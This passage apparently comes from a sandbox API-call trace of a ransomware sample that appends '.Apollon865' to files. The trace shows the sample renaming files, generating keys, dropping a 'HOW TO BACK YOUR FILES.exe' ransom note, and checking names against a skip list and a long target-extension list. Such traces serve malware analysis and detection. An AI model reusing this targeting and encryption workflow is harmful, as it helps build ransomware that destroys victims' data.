	[0063.854] lstrcmpiW (lpString1="6.exe", lpString2="xmlff") returned -1
	[0063.854] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.Apollon865") returned 99
	[0063.854] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.apollon865"), dwFlags=0x1) returned 1
	[0063.855] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0063.855] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=462976) returned 1
	[0063.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.856] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.857] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.857] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.857] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x71380, lpName=0x0) returned 0x150
	[0063.858] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x71380) returned 0x4d0000
	[0063.881] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.882] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.882] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0063.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0063.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.883] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0063.887] CloseHandle (hObject=0x150) returned 1
	[0063.887] CloseHandle (hObject=0x154) returned 1
	[0063.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.889] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
	[0063.889] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.890] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fcb0
	[0063.890] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0063.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a220 | out: hHeap=0x580000) returned 1
	[0063.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0063.890] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 71
	[0063.890] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0063.890] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.890] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.891] GetLastError () returned 0x0
	[0063.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.891] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.891] CloseHandle (hObject=0x15c) returned 1
	[0063.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.891] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.891] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.891] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.891] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.891] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.891] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.891] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.891] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.891] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.891] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.891] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3fd670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.891] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.891] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0063.891] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.891] lstrcmpiW (lpString1="state.rsm", lpString2="Apollon865.txt.exe") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1
	[0063.892] lstrlenW (lpString="state.rsm") returned 9
	[0063.892] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned 73
	[0063.892] lstrcpyW (in: lpString1=0x119e698, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0063.892] lstrlenW (lpString="state.rsm") returned 9
	[0063.892] lstrlenW (lpString="Apollon865") returned 10
	[0063.892] lstrlenW (lpString=".dll") returned 4
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0063.892] lstrlenW (lpString=".lnk") returned 4
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0063.892] lstrlenW (lpString=".ini") returned 4
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0063.892] lstrlenW (lpString=".sys") returned 4
	[0063.892] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0063.892] lstrlenW (lpString="state.rsm") returned 9
	[0063.892] lstrlenW (lpString="bak") returned 3
	[0063.892] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1
	[0063.892] lstrlenW (lpString="ba_") returned 3
	[0063.892] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1
	[0063.892] lstrlenW (lpString="dbb") returned 3
	[0063.892] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1
	[0063.892] lstrlenW (lpString="vmdk") returned 4
	[0063.892] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1
	[0063.892] lstrlenW (lpString="rar") returned 3
	[0063.892] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1
	[0063.893] lstrlenW (lpString="zip") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1
	[0063.893] lstrlenW (lpString="tgz") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1
	[0063.893] lstrlenW (lpString="vbox") returned 4
	[0063.893] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1
	[0063.893] lstrlenW (lpString="vdi") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1
	[0063.893] lstrlenW (lpString="vhd") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1
	[0063.893] lstrlenW (lpString="vhdx") returned 4
	[0063.893] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1
	[0063.893] lstrlenW (lpString="avhd") returned 4
	[0063.893] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1
	[0063.893] lstrlenW (lpString="db") returned 2
	[0063.893] lstrcmpiW (lpString1="sm", lpString2="db") returned 1
	[0063.893] lstrlenW (lpString="db2") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1
	[0063.893] lstrlenW (lpString="db3") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1
	[0063.893] lstrlenW (lpString="dbf") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1
	[0063.893] lstrlenW (lpString="mdf") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1
	[0063.893] lstrlenW (lpString="mdb") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1
	[0063.893] lstrlenW (lpString="sql") returned 3
	[0063.893] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1
	[0063.893] lstrlenW (lpString="sqlite") returned 6
	[0063.893] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1
	[0063.893] lstrlenW (lpString="sqlite3") returned 7
	[0063.893] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1
	[0063.893] lstrlenW (lpString="sqlitedb") returned 8
	[0063.893] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1
	[0063.894] lstrlenW (lpString="xml") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1
	[0063.894] lstrlenW (lpString="$er") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1
	[0063.894] lstrlenW (lpString="4dd") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1
	[0063.894] lstrlenW (lpString="4dl") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1
	[0063.894] lstrlenW (lpString="^^^") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1
	[0063.894] lstrlenW (lpString="abs") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1
	[0063.894] lstrlenW (lpString="abx") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1
	[0063.894] lstrlenW (lpString="accdb") returned 5
	[0063.894] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1
	[0063.894] lstrlenW (lpString="accdc") returned 5
	[0063.894] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1
	[0063.894] lstrlenW (lpString="accde") returned 5
	[0063.894] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1
	[0063.894] lstrlenW (lpString="accdr") returned 5
	[0063.894] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1
	[0063.894] lstrlenW (lpString="accdt") returned 5
	[0063.894] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1
	[0063.894] lstrlenW (lpString="accdw") returned 5
	[0063.894] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1
	[0063.894] lstrlenW (lpString="accft") returned 5
	[0063.894] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1
	[0063.894] lstrlenW (lpString="adb") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0063.894] lstrlenW (lpString="adb") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0063.894] lstrlenW (lpString="ade") returned 3
	[0063.894] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1
	[0063.895] lstrlenW (lpString="adf") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1
	[0063.895] lstrlenW (lpString="adn") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1
	[0063.895] lstrlenW (lpString="adp") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1
	[0063.895] lstrlenW (lpString="alf") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1
	[0063.895] lstrlenW (lpString="ask") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1
	[0063.895] lstrlenW (lpString="btr") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1
	[0063.895] lstrlenW (lpString="cat") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1
	[0063.895] lstrlenW (lpString="cdb") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1
	[0063.895] lstrlenW (lpString="ckp") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1
	[0063.895] lstrlenW (lpString="cma") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1
	[0063.895] lstrlenW (lpString="cpd") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1
	[0063.895] lstrlenW (lpString="dacpac") returned 6
	[0063.895] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1
	[0063.895] lstrlenW (lpString="dad") returned 3
	[0063.895] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1
	[0063.895] lstrlenW (lpString="dadiagrams") returned 10
	[0063.895] lstrlenW (lpString="daschema") returned 8
	[0063.895] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1
	[0063.895] lstrlenW (lpString="db-journal") returned 10
	[0063.895] lstrlenW (lpString="db-shm") returned 6
	[0063.895] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1
	[0063.895] lstrlenW (lpString="db-wal") returned 6
	[0063.896] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1
	[0063.896] lstrlenW (lpString="dbc") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1
	[0063.896] lstrlenW (lpString="dbs") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1
	[0063.896] lstrlenW (lpString="dbt") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1
	[0063.896] lstrlenW (lpString="dbv") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1
	[0063.896] lstrlenW (lpString="dbx") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1
	[0063.896] lstrlenW (lpString="dcb") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1
	[0063.896] lstrlenW (lpString="dct") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1
	[0063.896] lstrlenW (lpString="dcx") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1
	[0063.896] lstrlenW (lpString="ddl") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1
	[0063.896] lstrlenW (lpString="dlis") returned 4
	[0063.896] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1
	[0063.896] lstrlenW (lpString="dp1") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1
	[0063.896] lstrlenW (lpString="dqy") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1
	[0063.896] lstrlenW (lpString="dsk") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1
	[0063.896] lstrlenW (lpString="dsn") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1
	[0063.896] lstrlenW (lpString="dtsx") returned 4
	[0063.896] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1
	[0063.896] lstrlenW (lpString="dxl") returned 3
	[0063.896] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1
	[0063.896] lstrlenW (lpString="eco") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1
	[0063.897] lstrlenW (lpString="ecx") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1
	[0063.897] lstrlenW (lpString="edb") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1
	[0063.897] lstrlenW (lpString="epim") returned 4
	[0063.897] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1
	[0063.897] lstrlenW (lpString="fcd") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1
	[0063.897] lstrlenW (lpString="fdb") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1
	[0063.897] lstrlenW (lpString="fic") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1
	[0063.897] lstrlenW (lpString="flexolibrary") returned 12
	[0063.897] lstrlenW (lpString="fm5") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1
	[0063.897] lstrlenW (lpString="fmp") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1
	[0063.897] lstrlenW (lpString="fmp12") returned 5
	[0063.897] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1
	[0063.897] lstrlenW (lpString="fmpsl") returned 5
	[0063.897] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1
	[0063.897] lstrlenW (lpString="fol") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1
	[0063.897] lstrlenW (lpString="fp3") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1
	[0063.897] lstrlenW (lpString="fp4") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1
	[0063.897] lstrlenW (lpString="fp5") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1
	[0063.897] lstrlenW (lpString="fp7") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1
	[0063.897] lstrlenW (lpString="fpt") returned 3
	[0063.897] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1
	[0063.898] lstrlenW (lpString="frm") returned 3
	[0063.898] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1
	[0063.898] lstrlenW (lpString="gdb") returned 3
	[0063.898] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0063.898] lstrlenW (lpString="gdb") returned 3
	[0063.898] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0063.898] lstrlenW (lpString="grdb") returned 4
	[0063.898] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1
	[0063.898] lstrlenW (lpString="gwi") returned 3
	[0063.898] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1
	[0063.898] lstrlenW (lpString="hdb") returned 3
	[0063.898] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1
	[0063.898] lstrlenW (lpString="his") returned 3
	[0063.898] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1
	[0063.898] lstrlenW (lpString="ib") returned 2
	[0063.898] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1
	[0063.898] lstrlenW (lpString="idb") returned 3
	[0063.898] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1
	[0063.898] lstrlenW (lpString="ihx") returned 3
	[0063.898] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1
	[0063.898] lstrlenW (lpString="itdb") returned 4
	[0063.898] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1
	[0063.898] lstrlenW (lpString="itw") returned 3
	[0063.899] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1
	[0063.899] lstrlenW (lpString="jet") returned 3
	[0063.899] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1
	[0063.899] lstrlenW (lpString="jtx") returned 3
	[0063.899] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1
	[0063.899] lstrlenW (lpString="kdb") returned 3
	[0063.899] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1
	[0063.899] lstrlenW (lpString="kexi") returned 4
	[0063.899] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1
	[0063.899] lstrlenW (lpString="kexic") returned 5
	[0063.899] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1
	[0063.899] lstrlenW (lpString="kexis") returned 5
	[0063.899] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1
	[0063.899] lstrlenW (lpString="lgc") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1
	[0063.900] lstrlenW (lpString="lwx") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1
	[0063.900] lstrlenW (lpString="maf") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1
	[0063.900] lstrlenW (lpString="maq") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1
	[0063.900] lstrlenW (lpString="mar") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1
	[0063.900] lstrlenW (lpString="marshal") returned 7
	[0063.900] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1
	[0063.900] lstrlenW (lpString="mas") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1
	[0063.900] lstrlenW (lpString="mav") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1
	[0063.900] lstrlenW (lpString="maw") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1
	[0063.900] lstrlenW (lpString="mdbhtml") returned 7
	[0063.900] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1
	[0063.900] lstrlenW (lpString="mdn") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1
